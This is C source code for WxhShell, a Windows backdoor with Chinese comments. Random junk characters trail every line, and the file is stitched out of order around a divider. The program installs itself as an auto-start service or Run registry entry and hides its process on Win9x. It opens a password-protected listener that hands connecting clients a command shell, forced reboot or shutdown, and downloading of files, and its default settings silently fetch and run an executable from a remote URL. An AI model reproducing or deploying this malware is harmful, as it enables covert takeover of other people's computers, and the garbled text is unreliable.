    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /s:w^ g~  
    else { n#BvW,6J  
    closesocket(wsh); IU|kNBo  
    ExitThread(0); 86%%n?"}  
    } QdDObqVdy  
    break; 9~c~E/4!  
    } 1"?]= j:  
  // 关机 :Hk_8J  
  case 'd': { ~^&R#4J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); II;Te7~  
    if(Boot(SHUTDOWN)) ~.Cv DJy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RNTa XR+Zn  
    else { rVH6QQF=\  
    closesocket(wsh); ~-_i  
    ExitThread(0); < Ek/8x  
    } qMP1k7uG)  
    break; Kqg!,Sn|  
    } 3mO;JXd  
  // 获取shell SZhOm  
  case 's': { XNehPZYS  
    CmdShell(wsh); /,s[#J   
    closesocket(wsh); ~"K ,7sw!Y  
    ExitThread(0); 8wK ~ i  
    break; H8{ol6wc)6  
  } upy\gkpnGO  
  // 退出 IH9.F  
  case 'x': { Hfym30  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LP];x3  
    CloseIt(wsh); ;*2>ES  
    break; }ns-W3B'  
    } r'GP$0rr9!  
  // 离开 HKDID[d0  
  case 'q': { K`g7$r)U[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?jx1R^  
    closesocket(wsh); E"~2./+rd  
    WSACleanup(); K/=|8+IDL  
    exit(1); Wb}c=hZv  
    break; "N?+VkZEv  
        } %McE` 155  
  } l{j~Q^U})  
  } V)(R]BK{  
AlXNg!j;5K  
  // 提示信息 =O).Lx2J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "A$!, PX6  
} t. ='/`!N  
  } _Q[$CcDEE  
QX4ai3v  
  return; 42J {aJVH  
} |yEa5rd?W  
BZ54*\t  
// shell模块句柄 {X(:jAy  
int CmdShell(SOCKET sock) `-h8vj5uG  
{ h:Gu`+D>W  
STARTUPINFO si; %a+mk E  
ZeroMemory(&si,sizeof(si)); G+UMBn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \R36w^c3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?L&'- e@  
PROCESS_INFORMATION ProcessInfo; a`[uNgDO  
char cmdline[]="cmd"; a2'^8;U*_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L|P5=/d  
  return 0; ^. dsW0"0  
} &|3 $!S  
uN([*'0Cg  
// 自身启动模式 ZOCDA2e(j  
int StartFromService(void) }XO K,Hw  
{ 0Z[oKXm1p  
typedef struct ]vWKR."4  
{ VXIP0p@  
  DWORD ExitStatus; Sz- J y:j  
  DWORD PebBaseAddress; u! "t!2I  
  DWORD AffinityMask; _8Kx6s%  
  DWORD BasePriority; NS%WeAf  
  ULONG UniqueProcessId; s7Ub@  
  ULONG InheritedFromUniqueProcessId; 6f')6X'x  
}   PROCESS_BASIC_INFORMATION; "#[!/\=?:  
MjlP+; !  
PROCNTQSIP NtQueryInformationProcess; $YN6<5R)  
x8S7oO7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -gSUjP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ])xx<5Jt4  
P:30L'.=[  
  HANDLE             hProcess; 5?hw !  
  PROCESS_BASIC_INFORMATION pbi; a}%#*J)!  
=|3fs7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *%{gYpn  
  if(NULL == hInst ) return 0; P"B0_EuR<T  
h4q|lA6!k8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z!l.:F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .pvi!NnL-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &|f@$ff  
8GvJ0Jq}U  
  if (!NtQueryInformationProcess) return 0; rM'=_nmi  
xx[9~z=d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -FU}pz/  
  if(!hProcess) return 0; sCR67/  
=c/wplv*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }ZYv~E'  
dZi"$ g  
  CloseHandle(hProcess); 0T Q$C-%  
(h >-&.`&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cSXwYZDx?  
if(hProcess==NULL) return 0; q Y#n'&  
?>I;34tL(  
HMODULE hMod; I 'V4D[H5  
char procName[255]; 8 7D*-Gw  
unsigned long cbNeeded; /YZr~|65  
xuqv6b.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a)wJT`xu  
.zi_[  
  CloseHandle(hProcess);  o4|M0  
E[/\7 v\  
if(strstr(procName,"services")) return 1; // 以服务启动 SQX:7YF~  
Ney/[3 A  
  return 0; // 注册表启动 8C*c{(4  
} 3AU;>D^5  
8_{X1bj  
// 主模块 Z'"tB/=W  
int StartWxhshell(LPSTR lpCmdLine) ILGMMA_2  
{ eEuvl`&  
  SOCKET wsl; <StN%2WQ1  
BOOL val=TRUE; .&DhN#EN0  
  int port=0; +j< p \Kn>  
  struct sockaddr_in door; ,6-:VIHQ  
B}lvr-c#  
  if(wscfg.ws_autoins) Install(); u6AA4(  
`$ 6rz  
port=atoi(lpCmdLine); ~_/(t'9  
"*In+!K  
if(port<=0) port=wscfg.ws_port; 7pe\M/kl  
uScMn/%  
  WSADATA data; /;oX)]W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "N`[r iq{  
kqFP)!37  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '<"s \,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G3Z)Z) N  
  door.sin_family = AF_INET; %J+E/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KrQ1GepJ  
  door.sin_port = htons(port);  # 1OOU  
s.$3j$vT 8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sS*3=Yh  
closesocket(wsl); E7rDa1  
return 1; 4 o Fel.o  
} <0Xf9a8>  
\W~ N  
  if(listen(wsl,2) == INVALID_SOCKET) { E|iQc8gr&  
closesocket(wsl); F(>Np2oi6  
return 1; 1*\o.  
} LY%WD%pL  
  Wxhshell(wsl); 45@^L's  
  WSACleanup(); YtmrRDQs  
a<^v(r  
return 0; ~E17L]ete  
6 (]Dh;gC  
} _852H$H\  
p{T*k'  
// 以NT服务方式启动 '=b/6@&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;r<^a6B  
{ F1*>y  
DWORD   status = 0; IxY|>5z  
  DWORD   specificError = 0xfffffff; b,7k)ND1F  
!2%HhiB'   
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,o86}6Ag  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B3 8]~'8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MTuV^0%jD  
  serviceStatus.dwWin32ExitCode     = 0; NPy&OcRl  
  serviceStatus.dwServiceSpecificExitCode = 0; rC5 p-B%  
  serviceStatus.dwCheckPoint       = 0; ,E S0NA  
  serviceStatus.dwWaitHint       = 0; C5o#i*|  
>qnko9V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wW>A_{Y  
  if (hServiceStatusHandle==0) return; M:Pc,  
xF!,IKlBBp  
status = GetLastError(); LSL/ZvSP  
  if (status!=NO_ERROR) akp-zn&je  
{ =$'6(aDH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f6hnTbJ  
    serviceStatus.dwCheckPoint       = 0; +$ 'Zf0U  
    serviceStatus.dwWaitHint       = 0; &u$Q4  
    serviceStatus.dwWin32ExitCode     = status; 'DP1,7  
    serviceStatus.dwServiceSpecificExitCode = specificError; 75T%g!c#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (7wc*#}  
    return; 5_GYrR2  
  } M\uiq38  
3l rT3a3vV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 11 Q1AN  
  serviceStatus.dwCheckPoint       = 0; Ag-(5:  
  serviceStatus.dwWaitHint       = 0; G#ZH.24Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~~D{spMVO  
} L>jY.d2w=K  
]C!gQq2'a  
// 处理NT服务事件,比如:启动、停止 u-QB.iQ+s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ha]VWt%}  
{ f\|w '  
switch(fdwControl) n@<YI  
{ }|h# \$w  
case SERVICE_CONTROL_STOP: Ua:}Vn&!  
  serviceStatus.dwWin32ExitCode = 0; I fK,b*%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?+))}J5N\  
  serviceStatus.dwCheckPoint   = 0; YL!P0o13r  
  serviceStatus.dwWaitHint     = 0; g];!&R-  
  { p_RsU`[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l{*@v=b(  
  } bV^rsJm  
  return; qU \w=  
case SERVICE_CONTROL_PAUSE: Q *D;U[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qqjwJ!@P  
  break; `+]Qz =}  
case SERVICE_CONTROL_CONTINUE: (p"%O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4>wP7`/+y  
  break; R$R *'l  
case SERVICE_CONTROL_INTERROGATE: !z\h| wU+  
  break; j*|VctM  
}; =/@D8{pU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0{5w 6  
} S,88*F(<^q  
tH!]Z4}u  
// 标准应用程序主函数 R)c?`:iUB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /2&c$9=1  
{ LQ@"Xe]5  
;YaQB#GK%  
// 获取操作系统版本 6fkRrD  
OsIsNt=GetOsVer(); 0CHH)Bku  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /ixp&Z|7  
A7%)~z<  
  // 从命令行安装 NDN7[7E  
  if(strpbrk(lpCmdLine,"iI")) Install(); nGC/R&  
&h}#HS>l  
  // 下载执行文件 \;,_S+Fz8  
if(wscfg.ws_downexe) { _P!m%34|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bL0yuAwF2  
  WinExec(wscfg.ws_filenam,SW_HIDE); xVw9v6@`h  
} 2R[:]-b  
sU=H&D99  
if(!OsIsNt) { D(~U6SR  
// 如果时win9x,隐藏进程并且设置为注册表启动 %Tfbsyf%f  
HideProc(); p/ ,=OaVU  
StartWxhshell(lpCmdLine); ?e%ZOI  
} e2Pcm_Ahv*  
else .hb:s,0mP  
  if(StartFromService()) k .;j  
  // 以服务方式启动 3ZPWze6  
  StartServiceCtrlDispatcher(DispatchTable); P`+{@@  
else fplow  
  // 普通方式启动 wW P}C D  
  StartWxhshell(lpCmdLine);  _"yh.N&  
& ywPuTt  
return 0; :pY/-Cgv  
} +o{R _  
>>)b'c  
{<p?2E  
8'[7 )I=  
=========================================== &{hL&BLr  
YlQ=5u^+  
{4}yKjW%z  
pj{`'; :g  
XEp{VC@=  
[!uG1GJ>  
" U$.@]F4&  
oulVg];  
#include <stdio.h> gCS<iBT(7  
#include <string.h> 8W(*~}ydYY  
#include <windows.h> Vb;*m5,?:  
#include <winsock2.h> /SR*W5#s  
#include <winsvc.h> _Ey9G  
#include <urlmon.h> VA>35w  
%N6A+5H  
#pragma comment (lib, "Ws2_32.lib") ~ 'cmSiz-  
#pragma comment (lib, "urlmon.lib") xh,qNnGGi  
\ a<h/4#|  
#define MAX_USER   100 // 最大客户端连接数 k,6f &#x  
#define BUF_SOCK   200 // sock buffer /4V#C-  
#define KEY_BUFF   255 // 输入 buffer t#})Awy^R  
IqHV)A  
#define REBOOT     0   // 重启 x"=f+Mr  
#define SHUTDOWN   1   // 关机 wk D^r(hiH  
r'r%w#=`t  
#define DEF_PORT   5000 // 监听端口 jXx<`I+]  
Yui3+}Ms  
#define REG_LEN     16   // 注册表键长度 rQs)O<jl  
#define SVC_LEN     80   // NT服务名长度 8 +/rlHp  
[A~xy'T  
// 从dll定义API iRbT/cc{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -#[a7',Z;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z+wA rPxc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'Cfl*iNb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \)N9aV  
w~A{(- dx  
// wxhshell配置信息 hGe/ ;@%  
struct WSCFG { dJoaCf`w  
  int ws_port;         // 监听端口 &MQmu,4  
  char ws_passstr[REG_LEN]; // 口令 Pb4X\9^  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8 &LQzwa  
  char ws_regname[REG_LEN]; // 注册表键名 +b<FO+E_  
  char ws_svcname[REG_LEN]; // 服务名 jDfC=a])  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S>6 ~lb8G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L|:`^M+^w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  .-c4wm}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =E4LRKn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u#$]?($}d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y|f[bw  
<tNBxa$gS  
}; Qf+\;@  
y/cvQY0pU  
// default Wxhshell configuration c /HHy,  
struct WSCFG wscfg={DEF_PORT, ?k&Vy  
    "xuhuanlingzhe", - q1?? u  
    1, @Z %ivR:  
    "Wxhshell", Y0@"fU35  
    "Wxhshell", GqvpA# i  
            "WxhShell Service", BC#C9|n  
    "Wrsky Windows CmdShell Service", xp)sBM7A  
    "Please Input Your Password: ", T{.pM4Hd  
  1, ?m}s4a  
  "http://www.wrsky.com/wxhshell.exe",  :D6 ON"6  
  "Wxhshell.exe" m)t;9J5  
    }; 2j88<Yh]H  
]"hFC<w  
// 消息定义模块 OJuG~euy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wj^3N7_:w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V)HG(k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y<|7z99L  
char *msg_ws_ext="\n\rExit."; O7m(o:t x3  
char *msg_ws_end="\n\rQuit."; mb TEp*H  
char *msg_ws_boot="\n\rReboot..."; Lv;^My  
char *msg_ws_poff="\n\rShutdown..."; %KhI>O<  
char *msg_ws_down="\n\rSave to "; Ys!82M$g  
X ::JV7hu  
char *msg_ws_err="\n\rErr!"; E)5\i-n  
char *msg_ws_ok="\n\rOK!"; *20jz<  
 EoR}Af  
char ExeFile[MAX_PATH]; IqaT?+O\?r  
int nUser = 0; 3 *"WG O5  
HANDLE handles[MAX_USER]; {0wIR_dGX  
int OsIsNt; DS(}<HK{  
l'-Bu(  
SERVICE_STATUS       serviceStatus; s4y73-J^.v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %9F([K  
vjGo;+K  
// 函数声明 |O\s|H  
int Install(void); iAEbu&XG  
int Uninstall(void); +US!YU  
int DownloadFile(char *sURL, SOCKET wsh); :Uzm  
int Boot(int flag); M#4p E_G  
void HideProc(void); )9{0]u;9  
int GetOsVer(void); \^J%sf${  
int Wxhshell(SOCKET wsl); (&F}/s gbi  
void TalkWithClient(void *cs); XH4  
int CmdShell(SOCKET sock); %+W{iu[|  
int StartFromService(void); pk$l+sNZ=  
int StartWxhshell(LPSTR lpCmdLine); [I,Z2G,Jb  
eCDev}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D&&9^t9S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A Ru2W1g  
2 /\r)$ 2i  
// 数据结构和表定义 ArI2wM/v  
SERVICE_TABLE_ENTRY DispatchTable[] = ~F|+o}a `  
{ y1eW pPJa  
{wscfg.ws_svcname, NTServiceMain}, ~*&H$6NJS  
{NULL, NULL} Ju!]&G8  
}; <e=#F-DE  
#Yj1w  
// 自我安装 bQg:zww  
int Install(void) Ha0M)0Anv  
{ #C74z$  
  char svExeFile[MAX_PATH]; T= y}y  
  HKEY key; ["k,QX  
  strcpy(svExeFile,ExeFile); UJAv`yjG  
}I+E\ <  
// 如果是win9x系统,修改注册表设为自启动 FF`T\&u  
if(!OsIsNt) { :1. L}4"gg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { shy-Gu&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mA}TJz  
  RegCloseKey(key); 36&e.3/#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1Ti f{i,B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +aCv&sg  
  RegCloseKey(key); J@HtoTDO3  
  return 0; W fN2bsx>  
    } V5nwu#  
  } ky,(xT4  
} <SAzxo:I  
else { *MFIV02[N  
7?!d^$B  
// 如果是NT以上系统,安装为系统服务 ed{ -/l~j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (&Kk7<#`  
if (schSCManager!=0) 5FPM`hLT  
{ &v/dj@   
  SC_HANDLE schService = CreateService MO]F1E?X  
  ( 6RU~"C  
  schSCManager, #>("CAB02T  
  wscfg.ws_svcname, ~|D Ut   
  wscfg.ws_svcdisp, iJ)_RSFK  
  SERVICE_ALL_ACCESS, oj m @t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >UTBO|95y  
  SERVICE_AUTO_START, #K_ii)n  
  SERVICE_ERROR_NORMAL, !7O+ogL  
  svExeFile, T@H ^BGs  
  NULL, vFzRg5lH  
  NULL, ^qvZXb  
  NULL, 1APe=tJ  
  NULL, aB2F C$z  
  NULL GE:vp>>}`  
  ); 2. NN8PPD"  
  if (schService!=0) DZ 3wCLQtK  
  { V# }!-Xj  
  CloseServiceHandle(schService); }1L4 "}L.  
  CloseServiceHandle(schSCManager); )Yh+c=6 ?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 38Mv25N  
  strcat(svExeFile,wscfg.ws_svcname); x}wG:K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @muRxi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ehGLk7@7&  
  RegCloseKey(key); HYD'.uj  
  return 0; htO +z7  
    } Y!aSs3c  
  } >NGj =L<  
  CloseServiceHandle(schSCManager); RtkEGxw*^  
} /Y:sLGQLD  
} zJKv'>?  
/Iu 1L#  
return 1; P[G)sA_"  
} kf\PioD8  
q<x/Hat)  
// 自我卸载 R^8o^z['6u  
int Uninstall(void) + B,}Qr  
{ n$A9_cHF7  
  HKEY key; imhwY#D  
M!siK2  
if(!OsIsNt) { 58}U^IW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6IN e@  
  RegDeleteValue(key,wscfg.ws_regname); hIYNhZv  
  RegCloseKey(key); y1jCg%'H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yM6pd U]i  
  RegDeleteValue(key,wscfg.ws_regname); Z\bmW%av  
  RegCloseKey(key); <yV"6/l 0  
  return 0; ,i ^9 |Oeq  
  } k$^UUo6  
} V@.Ior}w  
} ih-#5M@  
else { gMi0FO'  
]\-A;}\e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ch*8B(:  
if (schSCManager!=0) &@X<zWg  
{ p%up)]?0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pa>AWOG'  
  if (schService!=0) \i>?q   
  { Fk&c=V;SU  
  if(DeleteService(schService)!=0) { \Gef \   
  CloseServiceHandle(schService); /* (Kr'c  
  CloseServiceHandle(schSCManager); 5ORo3T%  
  return 0; }?$F}s-  
  } E<rp7~#  
  CloseServiceHandle(schService); ; }I:\P  
  } '0;l]/i.  
  CloseServiceHandle(schSCManager); ^ox=HNV  
} @Z_x.Y6  
} 0Uz"^xO["  
>.Pnkx*  
return 1; L8@f-Kk  
} c`)\Pb/O  
etQCzYIhn  
// 从指定url下载文件 udK%>  
int DownloadFile(char *sURL, SOCKET wsh) w0 M>[ 4  
{ 1;bh^WMJ  
  HRESULT hr; >%_\;svZG  
char seps[]= "/"; pHGYQ;:L  
char *token; C$=%!wf  
char *file; x`eo"5.$  
char myURL[MAX_PATH]; `GBW%X/  
char myFILE[MAX_PATH]; \k7"=yx  
# " 6Qj'/h  
strcpy(myURL,sURL); tH@Erh|%  
  token=strtok(myURL,seps); #Qw0&kM7I  
  while(token!=NULL) .fqN|[>  
  { c1(RuP:S  
    file=token; .|KyNBn  
  token=strtok(NULL,seps); BiLY(1,  
  } U7,e/?a  
|w~nVRb  
GetCurrentDirectory(MAX_PATH,myFILE); ZoW?nxY  
strcat(myFILE, "\\"); G`D`Af/B  
strcat(myFILE, file); vQG5*pR*w  
  send(wsh,myFILE,strlen(myFILE),0); @Rze| T.  
send(wsh,"...",3,0); ;J( 8 L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V;VHv=9`o  
  if(hr==S_OK) 3Y4?CM&0v  
return 0; 94`7a<&ZNL  
else LtF,kAIt7v  
return 1; *u[BP@vE  
OX!tsARC@  
} n5NsmVW\x  
hd<c&7|G'  
// 系统电源模块 }@+0/W?\.  
int Boot(int flag) :U%W%  
{ ;bib/  
  HANDLE hToken; 8qTys8  
  TOKEN_PRIVILEGES tkp; dn+KH+v  
s};{ZAtE  
  if(OsIsNt) { ?Ep [M:,q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K=k"a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t\,PB{P:J  
    tkp.PrivilegeCount = 1; m}t`FsB.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WX?IYQ+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k$R-#f;  
if(flag==REBOOT) { sIGMA$EK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S`0(*A[W*  
  return 0; Jhhb7uU+  
} 7,o7Cf2z  
else { `?_Q5lp/s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $|@@Qk/T  
  return 0; g |yvF-+  
} xF'EiX~  
  } E A1?)|}n  
  else { WiR(;m<g  
if(flag==REBOOT) { ]72`};  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *zvx$yJ?  
  return 0; (exa<hh  
} }rw8PZ9  
else { E KLyma&}Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]MitOkX  
  return 0; kfY}S  
} 3$>1FoSk  
} VU]`&`~J  
|N7M^  
return 1; N +_t-5  
} 7*A],:-q  
!ons]^km  
// win9x进程隐藏模块 YfKdR"i+.  
void HideProc(void) C1n>M}b  
{ 04P}-L,  
,j_i?Ff  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v`Oc,  
  if ( hKernel != NULL ) JP [K;/  
  { /t$d\b17pX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {B*s{{[/'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R$[vm6T?  
    FreeLibrary(hKernel); }Oq5tC@$G  
  } vV-`jsq20H  
w%jII{@,  
return; Txb#C[`  
} kUrkG80q|  
j{+.tIzpq[  
// 获取操作系统版本 U8n V[  
int GetOsVer(void) M-Y_ Wb3  
{ !wh8'X*  
  OSVERSIONINFO winfo; =MDys b&:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,(^*+G.i  
  GetVersionEx(&winfo); ope^~+c~\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H8}oIA"b  
  return 1; @Qt{jI !  
  else Ne1$ee. NE  
  return 0; Si;H0uPO  
} '3^'B0 3  
59;KQ  
// 客户端句柄模块 1f=gYzuO)  
int Wxhshell(SOCKET wsl) ":QZy8f9%  
{ TJXT-\Vk  
  SOCKET wsh; w@w(-F!%l  
  struct sockaddr_in client; U26}gT)  
  DWORD myID; }a(dyr`S  
)|# sfHv7  
  while(nUser<MAX_USER) gT6jYQ  
{ D_zZXbNc  
  int nSize=sizeof(client); suDQ~\ n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hf&9uHN%7m  
  if(wsh==INVALID_SOCKET) return 1; f x+/C8GK  
88wa7i*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~q25Yx9W@  
if(handles[nUser]==0) /R wjCUf  
  closesocket(wsh); l}K37f  
else mrtb*7`$  
  nUser++; 4ID5q~  
  } _u QOHwn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8&b,qQ~  
C,|,-CY  
  return 0; %| Lfuz*  
} ^SrJu:Q_  
cTTL1SW  
// 关闭 socket {kR#p %E]  
void CloseIt(SOCKET wsh) > /caXvS  
{ )bscBj@  
closesocket(wsh); 3AN/ H  
nUser--; XUuN )i  
ExitThread(0); $*=<Yw4  
} B \2 SH%\  
onxLyx|A  
// 客户端请求句柄 toC^LZgZ_6  
void TalkWithClient(void *cs) L) T (<  
{ .3Oap*X  
a<bwzX|.  
  SOCKET wsh=(SOCKET)cs; T1=fNF  
  char pwd[SVC_LEN]; Z4 =GMXj  
  char cmd[KEY_BUFF]; 1o{Mck  
char chr[1]; 2`=7_v  
int i,j; _KAQ}G3  
P71Lqy)5}A  
  while (nUser < MAX_USER) { -PR N:'T  
v mk2{f,g  
if(wscfg.ws_passstr) { r3UUlR/Do  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ln dx"prW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >tW#/\x{  
  //ZeroMemory(pwd,KEY_BUFF); 4@ai6,<  
      i=0; { 9q4)R}G  
  while(i<SVC_LEN) { k~nBiV  
hM@>q&q_  
  // 设置超时 X45%e!  
  fd_set FdRead; `3&v6  
  struct timeval TimeOut; r mg}N  
  FD_ZERO(&FdRead); ., 6-u  
  FD_SET(wsh,&FdRead); -e:`|(Mo  
  TimeOut.tv_sec=8; Z/+#pWBI!  
  TimeOut.tv_usec=0; 6(ol1 (U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oYH-wQj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cSV aI  
DN:EB @  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \ }G> 8^  
  pwd=chr[0]; k;FUs[  
  if(chr[0]==0xd || chr[0]==0xa) { 3)ywX&4"L  
  pwd=0; _xhax+,! ~  
  break; {3aua:q  
  } c5GuM|*7  
  i++; :"/d|i`T  
    } G" "ZI$`  
f%}xO+.s  
  // 如果是非法用户,关闭 socket dvUic-w<j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g3y+&Y_  
} oNF6<A(@$  
1iF1GkLEq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6T`i/".  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b OY |H~  
d7bS wL  
while(1) { i=2N;sAl  
R4:b{)=O  
  ZeroMemory(cmd,KEY_BUFF); f ) L  
)l DD\J7  
      // 自动支持客户端 telnet标准   IjnU?Bf  
  j=0; d/~9&wLSb  
  while(j<KEY_BUFF) { .%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :d'8x  
  cmd[j]=chr[0]; wk_@R=*(\  
  if(chr[0]==0xa || chr[0]==0xd) { --BW9]FW  
  cmd[j]=0; b4N[)%@  
  break; m ~$v;?i  
  } X!EP$!  
  j++; "3Y0`&:D  
    } ey$&;1x#5  
ab?aQ*$+  
  // 下载文件 z<' u1l3  
  if(strstr(cmd,"http://")) { o?Oc7 $+u  
